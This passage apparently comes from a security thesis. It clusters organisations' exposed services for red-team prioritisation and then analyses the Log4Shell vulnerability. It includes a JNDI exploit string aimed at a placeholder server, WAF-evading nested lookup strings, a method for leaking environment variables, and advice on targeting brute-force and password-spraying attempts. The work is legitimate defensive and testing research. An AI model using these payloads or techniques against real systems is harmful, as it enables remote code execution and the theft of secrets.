and its 2 cluster outliers that add port 22. Are these two servers just Secure FTP

(SFTP) servers? Or is this an exposed Secure Shell (SSH) interface that could grant

a network foothold?
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Cluster Size Ports Intra-Cluster Outliers
365 [80, 443]
690 [443] [443,8000], [443,8000]
378 [80]
82 [53]
34 [21] [21,22], [21,22]
11 [22]
10 [25]
4 [8443]
4 [500]
1 [8000, 8008, 8010, 8019, 8023]
1 [5060]

Table 3.4: Compressed Financial Institution test data

The clustering model successfully compressed the Financial Institution’s net-

work from 1,584 hosts with 1,957 open ports into 9 clusters (including 4 intra-cluster

outliers) and 2 true outliers. Referencing Table 3.4, it is possible to make several as-

sumptions that could simplify and prioritize a red team operation, remembering that

a red team is emulating a threat to accomplish malicious objectives–not conducting

an exhaustive test of the entire attack surface:

• The outlier host listening on ports 8000, 8008, 8010, 8019, 8023 is unique and

bears special attention from both a blue team and a red team perspective.

• The organization has 1,440 servers listening with ports traditionally used for

web services (80, 443, 8000, and 8443). Most (1,433) of these are listening on

both 80 and 443, only 80, or only 443.

– The servers with unusual web ports (8000 and 8443) could be hosting

administrative interfaces, making them attractive targets to a red team

– Next, the red team should notice the servers only listening on 443, since

most customer-facing sites listen on 80 as well (even if only to redirect
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from 80 to 443).

– One could assume servers only listening on port 80 are for public infor-

mation only, since this port is usually used for unencrypted traffic, so a

red team should consider them last. If it becomes necessary for a red

team to sub-divide this large clusters of remaining web servers, a more

detailed clustering algorithm involving HTTP response headers and key

page content would be more helpful, as demonstrated in [52].

• The two cluster outliers listening on ports 21 and 22 are likely used for file

transfer. Unlike the 34 hosts listening on port 21 only, these two hosts add an

encrypted transfer option. A red team should focus any brute-force attacks on

these two hosts first.

• The remaining hosts listening on ports 21, 22, 25, 53, 80, 500, 5060 can be

evaluated using techniques appropriate to their services.

3.1.6 Overall Results

The clustering algorithm successfully clustered the external attack surfaces of

multiple organizations across a variety of industries. Despite a high 0.90 minimum

similarity coefficient, even the service-diverse College attack surface could be success-

fully clustered. The addition of intra-cluster outliers improved clustering significantly

by splitting the difference between clusters and outliers. This technique allowed more

hosts to be clustered together while still maintaining cluster homogeneity.

Table 3.5 shows statistics from all 13 organizations in the data set. It also

shows the clusterability and complexity measures discussed earlier in this approach.

These measurements are helpful in making an initial determination of level of effort

that will be required to test the network, since similar techniques can be used against
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Organization Host Port Clusterable Complexity
Count Count Percent

Financial 1,584 1,957 99.6% 27.669
Social Networking 256 423 98.8% 21.717
Professional 433 456 98.6% 19.724
Healthcare 5,289 9,337 98.5% 97.154
Hospitality 224 327 97.8% 22.012
Retailer 1,375 1,741 97.7% 44.473
Travel 305 354 97.0% 26.616
Food 39 49 92.3% 10.051
Hospital System 785 1,265 92.0% 77.156
Government 692 1,027 91.0% 87.422
Tourism 929 1,605 90.9% 98.387
Resort 288 494 84.7% 64.950
College 747 3,459 81.1% 167.584

Table 3.5: Statistics from all organizations

hosts in the same cluster. Figure 3.1 graphs the unique ports open for each organiza-

tion against that organization’s complexity measure as calculated by Equation (3.1).

Note that it shows an R2 value of 0.8414. This R2 statistical measure indicates that

nearly 85% of the variance around the mean is explained by the linear model. This

in turn demonstrates a positive correlation between the complexity measure and the

total number of unique ports in an organization’s network. (The College network

was an outlier and was removed.) This follows the intent of this research, because

similar services can often be tested with similar methods, thus reducing the time to

test. It can certainly be argued that similar open ports alone do not provide enough

information to call systems similar, but there is a spectrum of quality here and it

follows naturally that the more information available for use in clustering, the more

likely the hosts in a cluster will truly be similar.
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Figure 3.1: Unique Ports vs. Complexity

3.2 Service-Based Network Attack Surface Map-

ping

The work presented in this section was published in IEEE Secure Development

(IEEE SecDev) 2021.

In this work we solve the scale problem of attack surface mapping by comput-

ing the distance between services and grouping the closest services in a cluster. For

example, similar web services will be grouped together. The resulting clustered and

simplified attack surface will reduce the workload for manual testing and red team

analysis. In practice, test cases can be repeated for similar services; as such, a vul-

nerability found in one service can be quickly confirmed in similar ones, and outliers

can be easily singled out for more customized testing.

This is accomplished using the following steps:

• Collect network responses
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• Pre-process the data

• Compute distance between services

• Cluster and evaluate

There are several challenges to this approach. Pre-processing is necessary

due to differing data formats, not only amongst different types of services but even

between services of the same type. Determining a quantitative distance between

two network services described by port numbers, banners, and other information is

another challenge. Finally, the approach must provide options that allow testers to

determine the parameters for distance threshold and affinity that produce the most

useful clusters.

3.2.1 Collect Network Responses

Accurate and complete information for each service on the attack surface forms

the critical foundation to clustering. The first step is identifying the hosts on the

surface. When using a passive service like Shodan [106] or Censys [44], the search

engine can be queried to retrieve all active hosts associated with an organization. If

conducting active scanning with permission from the target organization, one could

scan the appropriate external network range, or use a whois query to determine the

Internet-facing network range to scan. An Nmap [97] host discovery scan of the target

network range would then reveal the active hosts.

Accurately identifying services on the hosts requires banner information. A

Shodan or Censys query on each host or on the range as a whole will return open ports

and associated service banner information. If actually conducting the scanning, an

Nmap port scan with service and version detection could be used to determine open
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ports and retrieve service banners. Banner results from different services can vary

significantly. For example, Shodan returns HTTP response headers for web services.

For FTP services it returns the responses to a few status commands it sends. For SSH

it returns the version, key type, key fingerprint, acceptable encryption algorithms, and

more. Censys returns additional information and separates it into different fields in

its database, so the raw “banner” output is often shorter with less information than

Shodan (because the details are broken out into their own fields).

Our method takes advantage of these inconsistencies inherently because the

distance between banners of completely different services is greater. This distance

pushes dissimilar services apart, while similar services have similarly formatted data

and are appropriately clustered together. However, combining data from different

tools would require additional pre-processing, as the differing responses from Shodan

and Censys, for example, would mean that even similar services might look very

different from each other—this would completely invalidate the algorithm.

3.2.2 Pre-process Data

The goal of pre-processing is to clean and organize the data in such a way

that a similarity algorithm can accurately compare two services. Information such as

port number, protocol, vendor, and version number make good inputs for similarity

computations if they are available. Port number is always available as a result of the

port scan. Banner text is available provided the port scanner was able to send the

right packets to direct the target system to return its banner. The remaining data

needs to be derived from these two sources.

Our solution improves the accuracy of clustering by using the expected default

protocol instead of the port number. Research revealed that the string similarity of
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two protocols is more accurate than the string or numerical similarity between two

port numbers. For example, consider ports 80 (HTTP) and 443 (HTTPS); neither

string nor numerical comparisons of these two numbers yields an identifiable pattern

to indicate they are similar, but a string comparison of HTTP and HTTPS accurately

reflects their similarity. Likewise, ports 25 (SMTP) and 23 (Telnet) are numerically

close yet describe completely different services, consistent with their string similari-

ties.

In order to determine the correct protocol, the nmap-services file installed

with Nmap is parsed. This lists most common application-level protocols (i.e., HTTP,

FTP) and their associated network protocols (i.e., TCP, UDP). For example, port

22/TCP is listed as SSH. By using the protocol string instead of the port number, it

is possible to more accurately identify similar services. This is particularly helpful in

the absence of banner information.

Vendor and version number information cannot easily be derived from a port

number alone since too many similar services from different vendors use the same

port. For example, there are many versions of FTP services from different operating

systems and vendors that use port 21. The banner then becomes the only way to

accurately identify these services.

To ensure wide compatibility across a variety of tools and service types, our

method uses the first line of any provided banner text instead of attempting to de-

termine the vendor and version number. Research showed that the first line provided

sufficient information to accurately classify the systems, and that the varying infor-

mation from subsequent lines was so dissimilar that it prevented accurate clustering.

For example, the FTP protocol returns a similar first line response for most vendors,

and vendors that choose to specify the name and/or version of their product tend

to do so in a similar manner which can be accurately distanced from other banners
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using string comparison.

3.2.3 Compute Distance

We designed a hybrid similarity algorithm and optimized it for network ser-

vice data. The input data consists of the protocol string (derived using the method

described above) and the banner string. There is an opportunity to weight each of

the two strings to support the intention of the researcher performing the clustering.

This is accomplished by computing the similarity for each string and then multiplying

each similarity value by a weight, where the sum of both weights always equals 1. A

heavier weight on the protocol provides larger, less homogeneous clusters for simpler,

quicker analysis; a heavier weight on the banner provides smaller, more homogeneous

clusters, making it easier to highlight more unique services as outliers. A weight of

100% on either string would cause the algorithm to ignore the other. A 25%/75% split

is enough to direct the algorithm to emphasize one side over the other. Jaro string

similarity is used to conduct the actual string comparisons [61], as implemented in

the python-levenshtein library. This algorithm provides a value from 0 to 1, with

one meaning the strings are identical, and zero meaning the strings are completely

different.

Equation (3.2) was used to compute the distance.

DNM = 1− [jaro(Np,Mp) · a+ jaro(Nb,Mb) · (1− a)] (3.2)

where N and M are two services to be compared, Np and Mp are the protocols

implemented by each service, Nb and Mb are the banners for each service, a is the

weight placed on the protocol similarity, and 1−a is the weight placed on the banner

similarity. The similarities for the protocol string and the banner string are computed
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and multiplied by their weights, resulting in a value between 0 and 1 inclusive. An

identical service banner using an identical protocol will have a value of 1. The sum of

the weighted similarities is subtracted from 1 because the clustering algorithm requires

a matrix of distances, not similarities. Because distances are computed between every

possible pair in the data set, this algorithm is O(n2) for n services.

3.2.4 Cluster and Evaluate

Our method uses the sklearn agglomerative clustering algorithm [131] with

the precomputed similarities. While sklearn allows the use of Euclidean, Manhattan,

and other distances, the use of precomputed distances was essential because these

services can’t be trivially quantified and plotted.

Besides the distances matrix, the sklearn clustering algorithm requires a link-

age criterion and either a distance threshold or a target number of clusters to create.

The distance threshold was the preferred method since the ideal shape of the data

was unknown. The linkage criterion can be one of “complete”, “average”, or “single”.

Once clustering is complete, clustering accuracy is assessed qualitatively, as

well as with intrinsic measurements, using the sklearn library. For intrinsic evalua-

tion, the following metrics are computed:

• Davies-Bouldin Index

• Calinski-Harabasz Index

• Silhouette Coefficient

62



3.2.5 Case Studies and Evaluation

This section documents our evaluation of the algorithm with two case studies.

It also discusses intrinsic and extrinsic methods of evaluating cluster quality. The

algorithm allows adjustment of the following values:

• Importance of protocol similarity versus banner similarity

• Linkage Criterion (complete, average, or single)

• Distance Threshold (maximum distance between clusters to be merged)

3.2.6 The Data Set

The data set consists of a Shodan export from 13 different organizations chosen

from across different industries, for a total of 15,047 services. For each service, the

data set contains the following fields: IP address, Port Number, Banner, Timestamp,

Organization, Hostnames, Country, City, and Operating System (these last four items

were not used). While metrics were gathered on the entire data set, the case studies

below focus on a single organization, the University. The University data set was

chosen because it contained a wide variety of services and thus provided a greater

challenge for the algorithm than some of the other more homogeneous organizations.

After iterating through multiple combinations of parameters, it was determined a

75% protocol weight with average linkage and 0.028 distance threshold provided the

most useful clusters, as case studies will demonstrate.
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3.2.7 Case Studies

3.2.7.1 Pen Test Targeting SSH

The University organization contains 983 services, a number too large to easily

visualize or analyze manually. The algorithm compresses this data set into 36 clusters

and 66 outliers. Within the 36 clusters, there are a total of 63 unique services. A

sample of the resulting 129 rows is shown in Table 3.6. This table shows the count of

each unique port/protocol/banner combination, as well as the cluster index number

to which it has been assigned. From the outset, the data is pre-analyzed, easier to

view, and thus better to develop a test plan from. Based on the initial analysis, a

test team may decide to pursue the open SSH services.

The SSH service is the encrypted successor to Telnet and is used for command-

line access to Unix-based systems. Because it allows code execution by design, it

is a valuable target for hackers. The University data set contains 290 SSH services.

Traditionally, a tester analyzing the data would view it linearly in a tool like Microsoft

Excel, but Excel’s sorting and filtering tools have difficulty because of subtle but

significant differences appearing at different parts in the banner. Using this technique,

however, a compressed view with 4 clusters (representing 19 unique service types) and

6 outliers is achieved, for a total of 25 records. Table 3.7 shows this grouping, where

outliers have a cluster index number of −1. These clusters can be described as follows:

• OpenSSH, various versions

• OpenSSH for Ubuntu, various subversions of major version 7

• OpenSSH for Ubuntu, various subversions of major version 6

• DropBear SSH
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Cluster Count Port/Protocol Banner

3 1 21/ftp 220 (vsFTPd 2.0.5)

3 1 21/ftp 220 (vsFTPd 3.0.2)

4 47 80/http HTTP/1.1 200 OK

4 1 80/http HTTP/1.0 200 OK

5 162 80/http HTTP/1.0 302 Found

5 15 80/http HTTP/1.1 302 Found

29 5 1935/rtmp HTTP/1.1 200 OK

30 3 554/rtsp RTSP/1.0 200 OK

31 1 25/smtp 554 mx4.REDACTED.edu ESMTP ...

31 1 25/smtp 554 mx5.REDACTED.edu ESMTP ...

33 169 22/ssh SSH-2.0-OpenSSH 7.6p1 ...

33 65 22/ssh SSH-2.0-OpenSSH 7.2p2 ...

33 6 22/ssh SSH-2.0-OpenSSH 7.2p2 ...

33 4 22/ssh SSH-2.0-OpenSSH 7.6p1 ...

33 10 22/ssh SSH-2.0-OpenSSH 7.2p2 ...

33 1 22/ssh SSH-2.0-OpenSSH 7.2p2 ...

33 1 22/ssh SSH-2.0-OpenSSH 7.6p1 ...

33 2 22/ssh SSH-2.0-OpenSSH 7.2p2 ...

34 2 22/ssh SSH-2.0-OpenSSH 6.6.1p1 ...

34 1 22/ssh SSH-2.0-OpenSSH 6.6.1p1 ...

34 2 22/ssh SSH-2.0-OpenSSH 6.6.1p1 ...

34 1 22/ssh SSH-2.0-OpenSSH 6.6.1p1 ...

35 2 22/ssh SSH-2.0-dropbear 2018.76

Table 3.6: Excerpt from University data set compressed
75% protocol wt., 0.028 dist. threshold, average linkage

This just leaves the six outliers. Several observations arise from the data

presented, including the fact that the most prevalent operating system supporting

SSH is Ubuntu, with most systems at version 7.6 patch 1. The outliers, even the ones

within the clusters, are easy to spot. To an experienced tester, the clustered systems

reveal the following optimized test plan:

• Check all clusters for vulnerable versions of SSH.

• Consider that older SSH versions could be an indicator that other services on

hosts in the same cluster are out of date also and may be vulnerable.
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• If the test will include password spraying, tailor the username/password lists

used for each cluster. For example, if a banner indicates the cluster contains

network devices, use usernames and passwords known to be common to those

devices. This will save time and reduce the noise and impact of a password

spraying test.

Cluster Count Protocol Banner

32 1 22/ssh SSH-2.0-OpenSSH“˙7.5-hpn14v5

32 12 22/ssh SSH-2.0-OpenSSH 7.4

32 1 22/ssh SSH-2.0-OpenSSH 7.9

32 2 22/ssh SSH-2.0-OpenSSH 5.3

32 1 22/ssh SSH-2.0-OpenSSH 6.6.1

32 1 22/ssh SSH-2.0-OpenSSH 7.5p1

33 169 22/ssh SSH-2.0-OpenSSH 7.6p1 Ubuntu-4ubuntu0.3

33 65 22/ssh SSH-2.0-OpenSSH 7.2p2 Ubuntu-4ubuntu2.8

33 6 22/ssh SSH-2.0-OpenSSH 7.2p2 Ubuntu-4ubuntu2.4

33 4 22/ssh SSH-2.0-OpenSSH 7.6p1 Ubuntu-4ubuntu0.1

33 10 22/ssh SSH-2.0-OpenSSH 7.2p2 Ubuntu-4ubuntu2.2

33 1 22/ssh SSH-2.0-OpenSSH 7.2p2 Ubuntu-4ubuntu2.1

33 1 22/ssh SSH-2.0-OpenSSH 7.6p1 Ubuntu-4ubuntu0.4

33 2 22/ssh SSH-2.0-OpenSSH 7.2p2 Ubuntu-4ubuntu2.6

34 2 22/ssh SSH-2.0-OpenSSH 6.6.1p1 Ubuntu-2ubuntu2.13

34 1 22/ssh SSH-2.0-OpenSSH 6.6.1p1 Ubuntu-2ubuntu2.6

34 2 22/ssh SSH-2.0-OpenSSH 6.6.1p1 Ubuntu-2ubuntu2akcenv1

34 1 22/ssh SSH-2.0-OpenSSH 6.6.1p1 Ubuntu-2ubuntu2.8

35 2 22/ssh SSH-2.0-dropbear 2018.76

−1 1 22/ssh SSH-2.0-OpenSSH 7.2 FreeBSD-20160310

−1 1 22/ssh SSH-2.0-OpenSSH 7.4p1 Debian-10+deb9u6

−1 1 22/ssh SSH-2.0-cryptlib

−1 1 22/ssh SSH-2.0-X

−1 1 22/ssh SSH-2.0-OpenSSH 5.9p1-hpn13v11

−1 1 22/ssh SSH-2.0-OpenSSH 7.5 FreeBSD-20170903

Table 3.7: University data set compressed, filtered for SSH
75% protocol wt., 0.028 dist. threshold, average linkage.
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3.2.7.2 Risk Assessment of Unencrypted HTTP

The University data set has 288 services that serve HTTP, the unencrypted

protocol most commonly used to serve web pages. As with the previous case study,

analyzing this data by hand would be problematic. The algorithm compresses these

288 services into 9 clusters (representing 14 unique service types) and 4 outliers, for

a total of 18 records, shown in its entirety in Table 3.8.

The clusters were primarily grouped by their HTTP responses (the first line

in the “banner”) and can be described as follows:

• 200 OK

• 302 Found

• 403 Forbidden

• 404 Not Found

• 301 Moved Permanently

• 400 Bad Request

• 500 Internal Server Error

• 302 Moved Temporarily

• 302 Temporary Moved

Outliers include response codes not appearing above that appeared too in-

frequently to be clustered, and also a “404” response with the unique description

“Unrecognized Request”. For a tester attempting to uncover vulnerabilities or a de-

fender attempting to prioritize defensive/corrective action to protect the network,
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this information provides many insights. For example, a tester might execute the

following test plan:

• 218 of 288 sites provide a redirection response (e.g., HTTP response 301, 302,

and 307). The most commonly seen redirect is to a secure HTTPS version of

the site, and it may be possible to bypass this redirection with a quick test case

that can be executed against these clusters to find this vulnerability.

• One should also note small variations in responses, like the lowercase “T” in

cluster 11 or the grammatical error ”Temporary moved” in cluster 12. If a

developer made grammar or capitalization errors, they may have also made

coding errors, making this a prime target for manual testing.

• The method of tying ports to short service descriptions and using those strings

to cluster enabled us to capture four HTTP services on port 8008. Recent

research has shown that services on non-default ports are more likely to have

security issues [75], so these should be prioritized accordingly.

• The outliers and the clustered services returning “400” and “500” error response

codes could be indicative of a misconfiguration.

• From a security perspective, the sites returning “200” responses should be re-

viewed to ensure they do not have password forms or transmit sensitive data.

Our unique hybrid similarity algorithm groups similar services together, while

post-processing highlights outliers for easy analysis. Testers and defenders alike can

derive courses of action from this data almost at a glance, greatly reducing the work-

load and analysis time normally required.
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Cluster Count Port/Protocol Banner

4 47 80/http HTTP/1.1 200 OK

4 1 80/http HTTP/1.0 200 OK

5 162 80/http HTTP/1.0 302 Found

5 15 80/http HTTP/1.1 302 Found

5 4 8008/http HTTP/1.1 302 Found

6 9 80/http HTTP/1.1 403 Forbidden

7 6 80/http HTTP/1.1 404 Not Found

8 18 80/http HTTP/1.1 301 Moved Permanently

9 2 80/http HTTP/1.1 400 Bad Request

10 2 80/http HTTP/1.1 500 Internal Server Error

11 14 80/http HTTP/1.0 302 Moved Temporarily

11 1 80/http HTTP/1.1 302 Moved temporarily

11 1 80/http HTTP/1.1 302 Moved Temporarily

12 2 80/http HTTP/1.0 302 Temporary moved

−1 1 80/http HTTP/1.1 503 Service Unavailable

−1 1 80/http HTTP/1.1 404 Unrecognized Request

−1 1 80/http HTTP/1.1 307 Temporary Redirect

−1 1 80/http HTTP/1.1 502 Bad Gateway

Table 3.8: University data set compressed, filtered for HTTP
75% protocol wt., 0.028 dist. threshold, average linkage.

3.2.8 Evaluation of the Clustering Algorithm

3.2.8.1 Intrinsic Evaluation

Our study iterated through multiple combinations of Protocol Weight, Dis-

tance Threshold, and Linkage Type variables, computing the Davies-Bouldin Index,

the Calinski-Harabasz Index, and the Silhouette Coefficient for each. To conduct the

intrinsic cluster quality evaluation below, 135 sets of clusters were generated based on

3 data sets (University, Healthcare, and All), 3 types of linkage (average, single, and

complete), 5 distance thresholds (.02, .04, ..., .1), and 3 protocol weight factors (.25,

.5, .75). Functions from the sklearn package were used to compute these values [131].

The following observations were made from intrinsic cluster quality calcula-

tions, with r representing the correlation coefficient:
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• The Davies-Bouldin Index score was positively correlated with the mean cluster

size (r = 0.7275) and with the max cluster size (r = 0.6874). Since lower is

better in the Davies-Bouldin Index, this correlation indicates the smaller the

clusters, the more favorable (lower) the score.

• The Calinski-Harabasz Index was negatively correlated with the distance thresh-

old chosen (r = −0.6685), indicating that the lower the distance threshold the

more favorable (higher) the score.

• The Silhouette Coefficient was also negatively correlated with the distance

threshold chosen (r = −0.5989), indicating that the lower the distance threshold

the more favorable (higher) the score.

The Davies-Bouldin Index was the superior intrinsic quality measure for this

data set, given it had two positive correlations—both of which were associated with

the cluster size, not merely with the distance threshold chosen. However, the overall

observation was that while these metrics did measure cluster quality in mathematical

terms, the measurements were mostly trivial (i.e., cluster quality increased as the

clusters were more homogeneous). Ultimately the true quality of the clusters was

determined by how useful they would be to the researcher using them.

3.2.8.2 Extrinsic Evaluation

Normally ground truth is used to conduct an extrinsic evaluation of clustering.

By knowing the category in which a service should be, one can evaluate how well

this clustering algorithm worked by determining a percentage accuracy. Given this

“ground truth” can vary based on user intent, the user can vary the parameters so

the clusters provide the most useful clusters and outliers. Multiple case studies have

shown the value of the compressed data sets resulting from this algorithm.
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After much review, the true strength of this approach was revealed: the ability

to rapidly create cluster sets with different parameters. These parameters could be

varied based on the type of test. For example, consider a researcher wanting to

cluster similar web sites to find similarities in the hosted application. They may

want similar banners clustered together regardless of whether the site was HTTP,

HTTPS, HTTPS-alt, or some other less common port. Clustering with parameters

that emphasize the port or protocol would incorrectly split systems and hamper the

investigation.

Conversely, someone performing an investigation that included protocol-level

testing might want more emphasis on the port or protocol so that they could conduct

tests to determine flaws in Transport Layer Security (TLS) implementation. Clus-

tering that failed to emphasize the protocol would incorrectly group encrypted and

unencrypted sites together and make the clustering less useful.
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Chapter 4

Log4Shell and the Attack Surface

4.1 Log4Shell Analysis

The work presented in this section was published in the 4th Workshop on

Measurements, Attacks, and Defenses for the Web (MADWeb 2022) at the Network

and Distributed System Security (NDSS) Symposium.

4.1.1 Log4j/Log4Shell Overview

Log4j is a free and open-source library implementing a logging framework[10].

In 2013, a log4j user requested that a feature be added that allowed the use of Java

Naming and Directory Interface (JNDI) lookups[89]. JNDI provides an interface to

naming and directory services like Lightweight Directory Access Protocol (LDAP) or

Remote Method Invocation (RMI). The requester wanted the feature so the logged

application could use these services to look up items and produce better logs, rather

than having to code each item individually. This feature is the root cause of Log4Shell;

it transformed a simple logging system into a powerful command interpreter, thus

making it vulnerable to the same command injection techniques used against other
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application components.

In December 2021 it was discovered that providing a specially crafted string

to Log4j would cause it to contact an external server and either run Java code

specified by the server, provide data to the server, or deny service to the logging

application[42]. Respectively, these vulnerabilities are generally classified as RCE,

Information Disclosure, or Denial of Service (DoS). The RCE vulnerability is the

source of the “Log4Shell” name, a combination of the name of the Log4j library and

“shell”, a reference to using the Log4j library to gain access to ultimately run shell

commands. Listing 4.1 shows an example of a vulnerable application. This simple

console application reads a line from standard input, prints it to standard output,

and then logs it as an error using Log4j. The last line shown, logger.error(data),

calls Log4j to log data read from the console. The three types of vulnerabilities are

described in detail below.

1 pr i va t e s t a t i c f i n a l Logger l o gg e r = ( Logger ) LogManager . getLogger (

Vulnerable . c l a s s ) ;

2 . . .

3 BufferedReader reader = new BufferedReader (new InputStreamReader (

System . in ) ) ;

4 . . .

5 St r ing data = reader . readLine ( ) ;

6 System . out . p r i n t l n ( ‘ ‘ Your data i s : ’ ’ + data ) ;

7 l o gg e r . e r r o r ( data ) ;

8 . . .

Listing 4.1: Example Vulnerable Application

Remote Code Execution. RCE vulnerabilities allow an attacker to run

their code on a victim machine. The original Log4Shell vulnerability was given a rare

CVSS rating of 10, the highest possible rating, because it allowed total control of an
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entire server and was trivial to exploit. An exploit looked like this:

${jndi:ldap://servername/}. Log4j would parse the JNDI expression in the ${}

and execute an LDAP request to server servername. It would then either execute

the Java code provided or, if a resource was provided, reach out to that resource over

the network to download and execute the provided class. This resulted in complete

attacker-controlled code execution on the device. Other protocols like RMI could be

used instead of LDAP with similar effect. Log4j was patched several times in the

month of December to address the original finding and some subsequent bypasses,

but each bypass used essentially the same basic attack: a specially crafted string

resulting in RCE with no user interaction.

Information Disclosure. An Information Disclosure vulnerability allows an

attacker to compel a server to reveal data it was not designed to reveal. Log4j has a

feature called Lookup that allows a developer to add variable values like the current

date or the hostname to logs. For example, to add the current Java version to a

log, the developer could specify ${java:version} in the string, and Log4j would

log "Java version 15.0.1". If a threat actor placed that string within the JNDI

expression of a Log4Shell attack, it would be evaluated and then sent as part of the

JNDI request, which were verified in a test network on Cloudlab[43]. While knowing

the target system’s Java version might prove valuable to an attacker, sensitive data

in environment variables might be even more useful; these were accessible via the

Environment Lookup, just one of many lookups available to anyone using Log4j.

Denial of Service. Distributed Denial of Service (DDoS) is a well-known

attack that involves harnessing a large number of network nodes to send packets to

a target in the hopes of overwhelming it[154]. However, a DoS in its most literal and

purest form can occur at any level up or down the Open Systems Interconnect (OSI)

model. Application layer attacks can be asymmetric in nature, meaning a relatively
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small quantity of traffic sent by an attacker can translate into a large DoS impact.

4.1.2 Log4Shell Vulnerability Timeline

Version Date CVE Description

2.15.0 12/06 2021-44228
Lookups within message text disabled by de-
fault.

2.16.0
2.12.2

12/13 2021-45046
JNDI disabled by default. Support removed
for message lookups.

2.17.0
2.12.3
2.3.1

12/17 2021-45105
Recursion in string substitution fixed. Limit
JNDI to the Java protocol.

2.17.1
2.12.4
2.3.2

12/27 2021-44832
Fixed possible RCE via JDBC Appender
when attacker controls server configuration.

Table 4.1: Log4Shell Timeline

CVE 2021-44228 
published

24 25 26 27 28 29 30 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

November 2021 December 2021

Log4shell 
privately 
disclosed

CVE
2021-45046 

published

CVE
2021-45105 

published

CVE
2021-44832 

published

Exploitation 
detected by 
Cloudflare

Widescale 
exploitation begins

Patch
v2.15.0 

released

Patch
v2.16.0 

released

Patch
v2.17.0 

released

Patch
v2.17.1 

released

Figure 4.1: Significant Log4Shell Events

A timeline for the Log4Shell event can be found in Figure 4.1. The patch

history for the Log4Shell vulnerability is shown in Table 4.1[9].

4.1.3 Log4Shell Targets

Web Servers. Any server running a Java app using a vulnerable version of

Log4j is a target. Given the proliferation of web applications, they are an obvious
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major target—and any attacker-controlled value is a potential attack vector. HTTP

request headers and GET/POST parameters are two significant examples.

Security Tools. Relevant metadata from an application is passed through to

security tools for logging purposes or for further investigation. If this data is logged

on the security tool using a vulnerable version of Log4j, it is feasible a threat actor

could gain control of the security tool performing the logging.

Backend Servers. Much as a SQL injection attack grants a threat actor

access to run database commands via the web server, the Log4Shell vulnerability

could provide command execution on backend servers. Similar to the security tools

vector mentioned above, exploiting this vector would require the web server to pass

a threat-actor-controlled value on to a backend application, which would then need

to log the value with a vulnerable version of Log4j. In some instances, the exploit

might happen some time after the attack was sent; for example, if the organization

conducts batch processing of transactions using a vulnerable Java application, the

exploit wouldn’t fire until the batch was processed.

Web Application Firewalls. When faced with the task of patching so many

systems in a short time, organizations frequently turn to WAFs[32]. The goal is to

protect the perimeter until the entire organization can be patched and tested accord-

ing to a more reasonable update cycle. For example, blocking a packet containing the

string ${jndi:ldap (no trailing brace) would block the earliest form of the Log4Shell

attack. Unfortunately, WAFs have limitations, many of which can be easily bypassed

by attackers. This was the case with the Log4Shell vulnerability.

A common WAF bypass used to exploit Log4Shell was nesting. By nesting

additional lookups inside the attack, there are countless possibilities. One technique

that can be used with nesting is the default value. The Log4j Lookup functionality

allows the programmer to specify a default value, which is used in case the key is

76



not found. By specifying no key or a bogus key backed up by a default value, the

string will be interpreted as the default value itself. This opens up to a nearly endless

combination of strings, extremely difficult for a WAF to detect. For example, the

string ${::-value} is identical to the string value when interpreted by a vulnerable

Log4j class. So are the strings ${x:y:-value} and ${::-${::-value}}. With so

many possibilities, it may not be feasible for a WAF to detect every value without a

high probability of impacting benign traffic.

4.1.4 Susceptibility Analysis

Susceptibility can be defined as how easily one can be harmed by something,

or the inability to resist something[160]. In the case of Log4Shell, the question facing

so many IT professionals in December 2021 was “How susceptible are we?”. To be

susceptible to Log4Shell, an organization must have the vulnerable JAR files installed

and running such that they process attacker-controlled input. The Java version,

configuration of the server, how Log4j was used, and even the network configuration

can reduce or even eliminate susceptibility, even if the above conditions are met.

Database Servers

Internet
Back End 

Processing

External Internal

Susceptible to RCE if 
running vulnerable Log4j

Web App 
Firewall

DMZ

Web App 
Servers

Log4shell exploit

External Vendor
Servers

SIEMSIEMAttacker

Figure 4.2: Example of Log4Shell-susceptible Web Application

Determining Susceptibility with Penetration Testing. Determining

susceptibility carries a level of effort which can be increased for greater accuracy

77



or a larger attack surface, or decreased when resources are limited. The internal

organization must use all of its advantages to outrun the threat actor, and arguably

the most significant advantage it has is that of direct, behind-the-firewalls access to

potentially vulnerable systems.

For example, searching server filesystems for vulnerable versions of Log4j will

help determine if you are running the vulnerable software. This can be accomplished

by looking for the vulnerable Java Archive (JAR) files, or more extensively by looking

for the vulnerable classes inside the JAR files. Having an up-to-date software bill

of materials makes this process easier, as it can highlight vulnerable dependencies

without the need for manual checking [130]. However, it is problematic to check

Internet of Things (IoT) devices and appliances for which file system access may

be limited. Because of this, even organizations with direct access to systems needing

testing may choose to augment traditional vulnerability management with penetration

testing. Pen testing for Log4Shell can take three different forms. The first one

commonly discussed online was to set up temporary subdomains using a service like

canarytokens[.]org. By creating a subdomain, a tester will receive a notification if

a server performs a lookup on the domain. If a tester uses the subdomain in a

Log4Shell attack and receives a notification, this could be an indicator that the system

is vulnerable.

The next check involved setting up a packet capture and/or responder on

a server and then sending a Log4Shell attack string pointing to that server. If a

connection was made to the server after the attack, that server was likely vulnerable

to Log4Shell. Using a rudimentary response tool like netcat, it was often possible to

convince the server to disclose its name, Java version, or even environmental variables.

The third method of pen testing attempted a full chain exploit. This involved

setting up an LDAP or RMI responder that replied with either a link to a Java class
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or code that could take advantage of a Java class already on the target system. This

exploit, while complicated, could provide much more certainty that the target is in

fact exploitable.

Limitations of Penetration Testing.

Proving a Negative. Test results must be reported in the proper context.

The organization requesting the test wants an answer to the question posed at the

beginning of this section, “How susceptible are we?” If an organization is susceptible,

it is feasible to test and provide proof of that; however, proving the opposite requires

something a penetration test cannot provide: proof of a negative. A penetration

test can prove that the system is exploitable, or it can prove that a test team with

limited resources could not exploit the system under the established test conditions.

However, it will never be able to guarantee that the system is safe from exploitation.

Automated Log4Shell Scanners. The Cybersecurity and Infrastructure Security

Agency (CISA) published an automated scanner designed to hunt for exposed ser-

vices containing the Log4Shell vulnerability [31]. This scanner is effective at checking

commercial off-the-shelf applications and many frameworks for the Log4Shell flaw. It

sends the exploit and 23 variants designed to evade WAFs to servers in over 60 HTTP

request headers and in 7 commonly-used post parameters. While the finite number

of variants for WAF evasion is a limitation, a tester with knowledge of their own

WAF configuration can craft a payload they know can evade the WAF if necessary

in order to ensure the test payloads reach the application itself. As with any auto-

mated tool, it is necessary to monitor the responses carefully to ensure that requests

aren’t returning errors because of the unusual headers—this behavior can cause false

negatives. For higher-security systems or other systems that respond poorly to the

scanner, customizing the code or using a tool like Burp Proxy Suite allows greater

control for more granular testing[136].
